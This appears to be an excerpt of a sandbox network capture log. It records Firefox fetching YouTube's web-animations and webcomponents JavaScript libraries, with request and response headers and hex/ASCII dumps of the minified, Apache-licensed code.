2024-01-17 23:35:40 UTC	233	IN	Data Raw: 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 67 65 74 28 29 7b 72 65 74 75 72 6e 20 61 7d 2c 73 65 74 28 62 29 7b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 68 69 73 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 2c 7b 76 61 6c 75 65 3a 62 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 7d 7d 29 7d 7d 7d 29 28 29 3b 0a 2f 2f 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 62 6c 61 7a 65 2d 6f 75 74 2f 6b 38 2d 6f 70 74 2f 62 69 6e 2f 74 68 69 72 64 5f 70 61 72 74 79 2f 6a 61 76 61 73 63 72 69 70 74 2f 63 75 73 74 6f 6d 5f 65 6c 65 6d 65 6e 74 73 2f 66 61 73 74 2d 73 68 69 6d 2e 6a 73 2e 73 6f 75 72 63 65 6d 61 70 0a Data Ascii: configurable:!0,get(){return a},set(b){Object.defineProperty(this,"constructor",{value:b,configurable:!0,writable:!0})}})}}})();//# sourceMappingURL=blaze-out/k8-opt/bin/third_party/javascript/custom_elements/fast-shim.js.sourcemap

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.6	50197	142.250.72.110	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:40 UTC	585	OUT	GET /s/desktop/80338919/jsbin/web-animations-next-lite.min.vflset/web-animations-next-lite.min.js HTTP/1.1 Host: www.youtube.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: https://www.youtube.com/ Cookie: __Secure-YEC=CgtvTFRlWWFBZDJDYyjLyKGtBjIKCgJERRIEEgAgZg%3D%3D; VISITOR_PRIVACY_METADATA=CgJERRIEEgAgZg%3D%3D; CONSENT=PENDING+188 Sec-Fetch-Dest: script Sec-Fetch-Mode: no-cors Sec-Fetch-Site: same-origin
2024-01-17 23:35:40 UTC	687	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 50702 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:09 GMT Expires: Thu, 16 Jan 2025 15:32:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 29011 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:40 UTC	565	IN	Data Raw: 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 34 20 47 6f 6f 67 6c 65 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 0a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 41 70 61 63 68 65 20 4c 69 63 65 6e 73 65 2c 20 56 65 72 73 69 6f 6e 20 32 2e 30 20 28 74 68 65 20 22 4c 69 63 65 6e 73 65 22 29 3b 0a 20 79 6f 75 20 6d 61 79 20 6e 6f 74 20 75 73 65 20 74 68 69 73 20 66 69 6c 65 20 65 78 63 65 70 74 20 69 6e 20 63 6f 6d 70 6c 69 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 4c 69 63 65 6e 73 65 2e 0a 20 20 20 20 20 59 6f 75 20 6d 61 79 20 6f 62 74 61 69 6e 20 61 20 63 6f 70 79 20 6f 66 20 74 68 65 20 4c 69 63 65 6e 73 65 20 61 74 0a 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 61 63 68 65 2e 6f 72 67 2f 6c Data Ascii: /* Copyright 2014 Google Inc. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/l
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 61 74 69 6f 6e 73 20 75 6e 64 65 72 20 74 68 65 20 4c 69 63 65 6e 73 65 2e 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 36 20 47 6f 6f 67 6c 65 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 0a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 41 70 61 63 68 65 20 4c 69 63 65 6e 73 65 2c 20 56 65 72 73 69 6f 6e 20 32 2e 30 20 28 74 68 65 20 22 4c 69 63 65 6e 73 65 22 29 3b 0a 20 79 6f 75 20 6d 61 79 20 6e 6f 74 20 75 73 65 20 74 68 69 73 20 66 69 6c 65 20 65 78 63 65 70 74 20 69 6e 20 63 6f 6d 70 6c 69 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 4c 69 63 65 6e 73 65 2e 0a 20 20 20 20 20 59 6f 75 20 6d 61 79 20 6f 62 74 61 69 6e 20 61 20 63 6f 70 79 20 6f 66 20 74 68 65 20 4c 69 63 65 6e 73 65 20 61 74 0a 0a 20 Data Ascii: ations under the License. Copyright 2016 Google Inc. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 74 75 72 6e 3b 22 66 69 6c 6c 22 3d 3d 42 26 26 2d 31 3d 3d 65 2e 69 6e 64 65 78 4f 66 28 70 5b 42 5d 29 7c 7c 22 64 69 72 65 63 74 69 6f 6e 22 3d 3d 42 26 26 2d 31 3d 3d 6d 2e 69 6e 64 65 78 4f 66 28 70 5b 42 5d 29 7c 7c 22 70 6c 61 79 62 61 63 6b 52 61 74 65 22 3d 3d 42 26 26 31 21 3d 3d 70 5b 42 5d 26 26 79 2e 69 73 44 65 70 72 65 63 61 74 65 64 28 22 41 6e 69 6d 61 74 69 6f 6e 45 66 66 65 63 74 54 69 6d 69 6e 67 2e 70 6c 61 79 62 61 63 6b 52 61 74 65 22 2c 22 32 30 31 34 2d 31 31 2d 32 38 22 2c 22 55 73 65 20 41 6e 69 6d 61 74 69 6f 6e 2e 70 6c 61 79 62 61 63 6b 52 61 74 65 20 69 6e 73 74 65 61 64 2e 22 29 7c 7c 28 41 5b 42 5d 3d 70 5b 42 5d 29 7d 7d 29 3a 41 2e 64 75 72 61 74 69 6f 6e 3d 70 3b 72 65 74 75 72 6e 20 41 7d 66 75 6e 63 74 69 6f 6e 20 64 Data Ascii: turn;"fill"==B&&-1==e.indexOf(p[B])\|\|"direction"==B&&-1==m.indexOf(p[B])\|\|"playbackRate"==B&&1!==p[B]&&y.isDeprecated("AnimationEffectTiming.playbackRate","2014-11-28","Use Animation.playbackRate instead.")\|\|(A[B]=p[B])}}):A.duration=p;return A}function d
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 6d 3d 5b 22 72 65 76 65 72 73 65 22 2c 22 61 6c 74 65 72 6e 61 74 65 22 2c 22 61 6c 74 65 72 6e 61 74 65 2d 72 65 76 65 72 73 65 22 5d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 70 29 7b 72 65 74 75 72 6e 20 70 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 5f 73 65 74 4d 65 6d 62 65 72 3a 66 75 6e 63 74 69 6f 6e 28 70 2c 77 29 7b 74 68 69 73 5b 22 5f 22 2b 70 5d 3d 77 3b 74 68 69 73 2e 5f 65 66 66 65 63 74 26 26 28 74 68 69 73 2e 5f 65 66 66 65 63 74 2e 5f 74 69 6d 69 6e 67 49 6e 70 75 74 5b 70 5d 3d 77 2c 74 68 69 73 2e 5f 65 66 66 65 63 74 2e 5f 74 69 6d 69 6e 67 3d 0a 79 2e 6e 6f 72 6d 61 6c 69 7a 65 54 69 6d 69 6e 67 49 6e 70 75 74 28 74 68 69 73 2e 5f 65 66 66 65 63 74 2e 5f 74 69 6d 69 6e 67 49 6e 70 75 74 29 2c 74 68 69 73 2e 5f 65 66 66 65 63 74 2e 61 63 Data Ascii: m=["reverse","alternate","alternate-reverse"],n=function(p){return p};k.prototype={_setMember:function(p,w){this["_"+p]=w;this._effect&&(this._effect._timingInput[p]=w,this._effect._timing=y.normalizeTimingInput(this._effect._timingInput),this._effect.ac
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 65 61 73 69 6e 67 7d 2c 73 65 74 20 69 74 65 72 61 74 69 6f 6e 73 28 70 29 7b 69 66 28 28 69 73 4e 61 4e 28 70 29 7c 7c 30 3e 70 29 26 26 66 28 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 69 74 65 72 61 74 69 6f 6e 73 20 6d 75 73 74 20 62 65 20 6e 6f 6e 2d 6e 65 67 61 74 69 76 65 2c 20 72 65 63 65 69 76 65 64 3a 20 22 2b 70 29 3b 74 68 69 73 2e 5f 73 65 74 4d 65 6d 62 65 72 28 22 69 74 65 72 61 74 69 6f 6e 73 22 2c 70 29 7d 2c 67 65 74 20 69 74 65 72 61 74 69 6f 6e 73 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 72 61 74 69 6f 6e 73 7d 7d 3b 76 61 72 20 6c 3d 31 2c 72 3d 2e 35 2c 74 3d 30 2c 78 3d 7b 65 61 73 65 3a 64 28 2e 32 35 2c 2e 31 2c 2e 32 35 2c 31 29 2c 22 65 Data Ascii: g(){return this._easing},set iterations(p){if((isNaN(p)\|\|0>p)&&f())throw new TypeError("iterations must be non-negative, received: "+p);this._setMember("iterations",p)},get iterations(){return this._iterations}};var l=1,r=.5,t=0,x={ease:d(.25,.1,.25,1),"e
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 22 66 6f 72 77 61 72 64 73 22 3d 3d 42 7c 7c 22 62 6f 74 68 22 3d 3d 42 3f 70 3a 6e 75 6c 6c 3b 62 72 65 61 6b 20 61 3b 63 61 73 65 20 30 3a 70 3d 6e 75 6c 6c 3b 62 72 65 61 6b 20 61 7d 70 3d 76 6f 69 64 20 30 7d 69 66 28 6e 75 6c 6c 3d 3d 3d 70 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 77 3d 7a 2e 64 75 72 61 74 69 6f 6e 3b 42 3d 7a 2e 69 74 65 72 61 74 69 6f 6e 53 74 61 72 74 3b 30 3d 3d 3d 77 3f 31 21 3d 3d 41 26 26 28 42 2b 3d 7a 2e 69 74 65 72 61 74 69 6f 6e 73 29 3a 42 2b 3d 70 2f 77 3b 77 3d 42 3b 42 3d 49 6e 66 69 6e 69 74 79 3d 3d 3d 77 3f 7a 2e 69 74 65 72 61 74 69 6f 6e 53 74 61 72 74 25 31 3a 77 25 31 3b 30 21 3d 3d 42 7c 7c 32 21 3d 3d 41 7c 7c 30 3d 3d 3d 7a 2e 69 74 65 72 61 74 69 6f 6e 73 7c 7c 30 3d 3d 3d 70 26 26 30 21 3d 3d 7a 2e 64 75 72 Data Ascii: "forwards"==B\|\|"both"==B?p:null;break a;case 0:p=null;break a}p=void 0}if(null===p)return null;w=z.duration;B=z.iterationStart;0===w?1!==A&&(B+=z.iterations):B+=p/w;w=B;B=Infinity===w?z.iterationStart%1:w%1;0!==B\|\|2!==A\|\|0===z.iterations\|\|0===p&&0!==z.dur
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 6c 6f 72 20 62 6f 72 64 65 72 42 6f 74 74 6f 6d 53 74 79 6c 65 20 62 6f 72 64 65 72 42 6f 74 74 6f 6d 57 69 64 74 68 20 62 6f 72 64 65 72 4c 65 66 74 43 6f 6c 6f 72 20 62 6f 72 64 65 72 4c 65 66 74 53 74 79 6c 65 20 62 6f 72 64 65 72 4c 65 66 74 57 69 64 74 68 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 0a 62 6f 72 64 65 72 42 6f 74 74 6f 6d 3a 5b 22 62 6f 72 64 65 72 42 6f 74 74 6f 6d 57 69 64 74 68 22 2c 22 62 6f 72 64 65 72 42 6f 74 74 6f 6d 53 74 79 6c 65 22 2c 22 62 6f 72 64 65 72 42 6f 74 74 6f 6d 43 6f 6c 6f 72 22 5d 2c 62 6f 72 64 65 72 43 6f 6c 6f 72 3a 5b 22 62 6f 72 64 65 72 54 6f 70 43 6f 6c 6f 72 22 2c 22 62 6f 72 64 65 72 52 69 67 68 74 43 6f 6c 6f 72 22 2c 22 62 6f 72 64 65 72 42 6f 74 74 6f 6d 43 6f 6c 6f 72 22 2c 22 62 6f 72 64 65 72 4c 65 66 Data Ascii: lor borderBottomStyle borderBottomWidth borderLeftColor borderLeftStyle borderLeftWidth".split(" "),borderBottom:["borderBottomWidth","borderBottomStyle","borderBottomColor"],borderColor:["borderTopColor","borderRightColor","borderBottomColor","borderLef
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 67 65 22 3a 22 31 35 30 25 22 2c 22 78 78 2d 6c 61 72 67 65 22 3a 22 32 30 30 25 22 7d 2c 66 6f 6e 74 57 65 69 67 68 74 3a 7b 6e 6f 72 6d 61 6c 3a 22 34 30 30 22 2c 62 6f 6c 64 3a 22 37 30 30 22 7d 2c 6f 75 74 6c 69 6e 65 57 69 64 74 68 3a 76 2c 74 65 78 74 53 68 61 64 6f 77 3a 7b 6e 6f 6e 65 3a 22 30 70 78 20 30 70 78 20 30 70 78 20 74 72 61 6e 73 70 61 72 65 6e 74 22 7d 2c 62 6f 78 53 68 61 64 6f 77 3a 7b 6e 6f 6e 65 3a 22 30 70 78 20 30 70 78 20 30 70 78 20 30 70 78 20 74 72 61 6e 73 70 61 72 65 6e 74 22 7d 7d 3b 79 2e 63 6f 6e 76 65 72 74 54 6f 41 72 72 61 79 46 6f 72 6d 3d 6b 3b 79 2e 6e 6f 72 6d 61 6c 69 7a 65 4b 65 79 66 72 61 6d 65 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 6e 3d 62 2e 6c 65 6e 67 Data Ascii: ge":"150%","xx-large":"200%"},fontWeight:{normal:"400",bold:"700"},outlineWidth:v,textShadow:{none:"0px 0px 0px transparent"},boxShadow:{none:"0px 0px 0px 0px transparent"}};y.convertToArrayForm=k;y.normalizeKeyframes=function(a){function c(){var n=b.leng
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 22 2c 30 29 29 69 66 28 43 3d 66 5b 75 5d 29 66 6f 72 28 78 20 69 6e 20 68 2e 73 74 79 6c 65 5b 75 5d 3d 71 2c 43 29 7b 71 3d 75 3d 43 5b 78 5d 3b 76 61 72 20 70 3d 68 2e 73 74 79 6c 65 5b 75 5d 3b 74 5b 75 5d 3d 71 20 69 6e 20 64 3f 64 5b 71 5d 5b 70 5d 7c 7c 70 3a 70 7d 65 6c 73 65 20 74 5b 75 5d 3d 75 20 69 6e 20 64 3f 64 5b 75 5d 5b 71 5d 7c 7c 71 3a 71 7d 76 6f 69 64 20 30 3d 3d 0a 6c 2e 6f 66 66 73 65 74 26 26 28 6c 2e 6f 66 66 73 65 74 3d 6e 75 6c 6c 29 3b 76 6f 69 64 20 30 3d 3d 6c 2e 65 61 73 69 6e 67 26 26 28 6c 2e 65 61 73 69 6e 67 3d 22 6c 69 6e 65 61 72 22 29 3b 72 65 74 75 72 6e 20 6c 7d 29 3b 61 3d 21 30 3b 66 6f 72 28 76 61 72 20 67 3d 2d 49 6e 66 69 6e 69 74 79 2c 65 3d 30 3b 65 3c 62 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 76 61 72 20 6d Data Ascii: ",0))if(C=f[u])for(x in h.style[u]=q,C){q=u=C[x];var p=h.style[u];t[u]=q in d?d[q][p]\|\|p:p}else t[u]=u in d?d[u][q]\|\|q:q}void 0==l.offset&&(l.offset=null);void 0==l.easing&&(l.easing="linear");return l});a=!0;for(var g=-Infinity,e=0;e<b.length;e++){var m
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 69 74 65 22 21 3d 65 29 7b 76 61 72 20 6d 3d 7b 6f 66 66 73 65 74 3a 63 5b 67 5d 2e 6f 66 66 73 65 74 2c 65 61 73 69 6e 67 3a 63 5b 67 5d 2e 65 61 73 69 6e 67 2c 76 61 6c 75 65 3a 63 5b 67 5d 5b 65 5d 7d 3b 62 5b 65 5d 3d 62 5b 65 5d 7c 7c 5b 5d 3b 62 5b 65 5d 2e 70 75 73 68 28 6d 29 7d 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 62 29 69 66 28 63 3d 62 5b 6e 5d 2c 30 21 3d 63 5b 30 5d 2e 6f 66 66 73 65 74 7c 7c 31 21 3d 63 5b 63 2e 6c 65 6e 67 74 68 2d 31 5d 2e 6f 66 66 73 65 74 29 74 68 72 6f 77 7b 74 79 70 65 3a 44 4f 4d 45 78 63 65 70 74 69 6f 6e 2e 4e 4f 54 5f 53 55 50 50 4f 52 54 45 44 5f 45 52 52 2c 6e 61 6d 65 3a 22 4e 6f 74 53 75 70 70 6f 72 74 65 64 45 72 72 6f 72 22 2c 6d 65 73 73 61 67 65 3a 22 50 61 72 74 69 61 6c 20 6b 65 79 66 72 61 6d 65 73 20 Data Ascii: ite"!=e){var m={offset:c[g].offset,easing:c[g].easing,value:c[g][e]};b[e]=b[e]\|\|[];b[e].push(m)}for(var n in b)if(c=b[n],0!=c[0].offset\|\|1!=c[c.length-1].offset)throw{type:DOMException.NOT_SUPPORTED_ERR,name:"NotSupportedError",message:"Partial keyframes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.6	50199	142.250.72.110	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:40 UTC	561	OUT	GET /s/desktop/80338919/jsbin/webcomponents-sd.vflset/webcomponents-sd.js HTTP/1.1 Host: www.youtube.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: https://www.youtube.com/ Cookie: __Secure-YEC=CgtvTFRlWWFBZDJDYyjLyKGtBjIKCgJERRIEEgAgZg%3D%3D; VISITOR_PRIVACY_METADATA=CgJERRIEEgAgZg%3D%3D; CONSENT=PENDING+188 Sec-Fetch-Dest: script Sec-Fetch-Mode: no-cors Sec-Fetch-Site: same-origin
2024-01-17 23:35:40 UTC	687	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 78646 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:09 GMT Expires: Thu, 16 Jan 2025 15:32:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 29011 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:40 UTC	565	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 76 61 72 20 6b 3b 66 75 6e 63 74 69 6f 6e 20 61 61 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 61 29 7b 76 61 72 20 62 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 Data Ascii: (function(){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0*/var k;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}function p(a){var b="undefined"!=typeof Symbol&&Symbol.itera
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 67 6c 6f 62 61 6c 20 6f 62 6a 65 63 74 22 29 3b 7d 76 61 72 20 63 61 3d 62 61 28 74 68 69 73 29 3b 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 66 6f 72 28 76 61 72 20 61 Data Ascii: &&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ca=ba(this);function r(){for(var a
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 63 65 3b 77 2e 70 61 3d 22 6f 6e 2d 64 65 6d 61 6e 64 22 3d 3d 3d 77 2e 6e 6f 50 61 74 63 68 3b 76 61 72 20 66 61 3b 76 61 72 20 68 61 3d 77 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 49 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 3b 66 61 3d 2d 31 3c 5b 22 6e 61 74 69 76 65 22 2c 22 73 65 6c 65 63 74 6f 72 45 6e 67 69 6e 65 22 5d 2e 69 6e 64 65 78 4f 66 28 68 61 29 3f 68 61 3a 76 6f 69 64 20 30 3b 77 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 49 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 3d 66 61 3b 76 61 72 20 6a 61 3d 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 22 54 72 69 64 65 6e 74 22 29 3b 77 2e 50 61 3d 6a 61 3b 0a 66 75 6e 63 74 69 6f 6e 20 6b 61 28 29 7b 72 65 74 75 72 6e 20 44 6f 63 75 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 Data Ascii: ce;w.pa="on-demand"===w.noPatch;var fa;var ha=w.querySelectorImplementation;fa=-1<["native","selectoruser"].indexOf(ha)?ha:void 0;w.querySelectorImplementation=fa;var ja=navigator.userAgent.match("Trident");w.Pa=ja;function ka(){return Document.prototy
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 65 5d 7d 3b 61 2e 6e 61 6d 65 64 49 74 65 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 22 6c 65 6e 67 74 68 22 21 3d 3d 65 26 26 69 73 4e 61 4e 28 65 29 26 26 61 5b 65 5d 29 72 65 74 75 72 6e 20 61 5b 65 5d 3b 66 6f 72 28 76 61 72 20 66 3d 70 28 61 29 2c 67 3d 66 2e 6e 65 78 74 28 29 3b 21 67 2e 64 6f 6e 65 3b 67 3d 66 2e 6e 65 78 74 28 29 29 69 66 28 67 3d 67 2e 76 61 6c 75 65 2c 28 67 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 7c 7c 67 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 29 29 3d 3d 65 29 72 65 74 75 72 6e 20 67 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 3b 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 75 61 28 61 29 7b 76 61 72 20 62 3d 5b 5d 3b 66 6f 72 28 61 3d 61 2e 5f 5f 73 68 61 64 79 5f 6e 61 74 69 Data Ascii: e]};a.namedItem=function(e){if("length"!==e&&isNaN(e)&&a[e])return a[e];for(var f=p(a),g=f.next();!g.done;g=f.next())if(g=g.value,(g.getAttribute("id")\|\|g.getAttribute("name"))==e)return g;return null};return a}function ua(a){var b=[];for(a=a.__shady_nati
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 75 73 68 2e 61 70 70 6c 79 28 63 2c 71 28 64 29 29 3a 63 2e 70 75 73 68 28 64 29 3b 72 65 74 75 72 6e 20 63 7d 2c 5b 5d 29 3b 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 42 61 28 61 29 7b 76 61 72 20 62 3d 5b 5d 2c 63 3d 6e 65 77 20 53 65 74 3b 61 3d 70 28 61 29 3b 66 6f 72 28 76 61 72 20 64 3d 61 2e 6e 65 78 74 28 29 3b 21 64 2e 64 6f 6e 65 3b 64 3d 61 2e 6e 65 78 74 28 29 29 64 3d 64 2e 76 61 6c 75 65 2c 63 2e 68 61 73 28 64 29 7c 7c 28 62 2e 70 75 73 68 28 64 29 2c 63 2e 61 64 64 28 64 29 29 3b 72 65 74 75 72 6e 20 62 7d 3b 76 61 72 20 43 61 3d 5b 5d 2c 44 61 3b 66 75 6e 63 74 69 6f 6e 20 45 61 28 61 29 7b 44 61 7c 7c 28 44 61 3d 21 30 2c 71 61 28 46 61 29 29 3b 43 61 2e 70 75 73 68 28 61 29 7d 66 75 6e 63 74 69 6f 6e 20 46 61 28 29 7b 44 61 Data Ascii: ush.apply(c,q(d)):c.push(d);return c},[]);return a}function Ba(a){var b=[],c=new Set;a=p(a);for(var d=a.next();!d.done;d=a.next())d=d.value,c.has(d)\|\|(b.push(d),c.add(d));return b};var Ca=[],Da;function Ea(a){Da\|\|(Da=!0,qa(Fa));Ca.push(a)}function Fa(){Da
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 64 2c 22 61 64 64 65 64 4e 6f 64 65 73 22 2c 7b 76 61 6c 75 65 3a 65 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 2c 64 7d 65 6c 73 65 20 69 66 28 65 29 72 65 74 75 72 6e 20 64 7d 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 20 64 7d 29 7d 3b 76 61 72 20 4c 61 3d 2f 5b 26 5c 75 30 30 41 30 22 5d 2f 67 2c 4d 61 3d 2f 5b 26 5c 75 30 30 41 30 3c 3e 5d 2f 67 3b 66 75 6e 63 74 69 6f 6e 20 4e 61 28 61 29 7b 73 77 69 74 63 68 28 61 29 7b 63 61 73 65 20 22 26 22 3a 72 65 74 75 72 6e 22 26 61 6d 70 3b 22 3b 63 61 73 65 20 22 3c 22 3a 72 65 74 75 72 6e 22 26 6c 74 3b 22 3b 63 61 73 65 20 22 3e 22 3a 72 65 74 75 72 6e 22 26 67 74 3b 22 3b 63 61 73 65 Data Ascii: ),Object.defineProperty(d,"addedNodes",{value:e,configurable:!0}),d}else if(e)return d}).filter(function(d){return d})};var La=/[&\u00A0"]/g,Ma=/[&\u00A0<>]/g;function Na(a){switch(a){case "&":return"&";case "<":return"<";case ">":return">";case
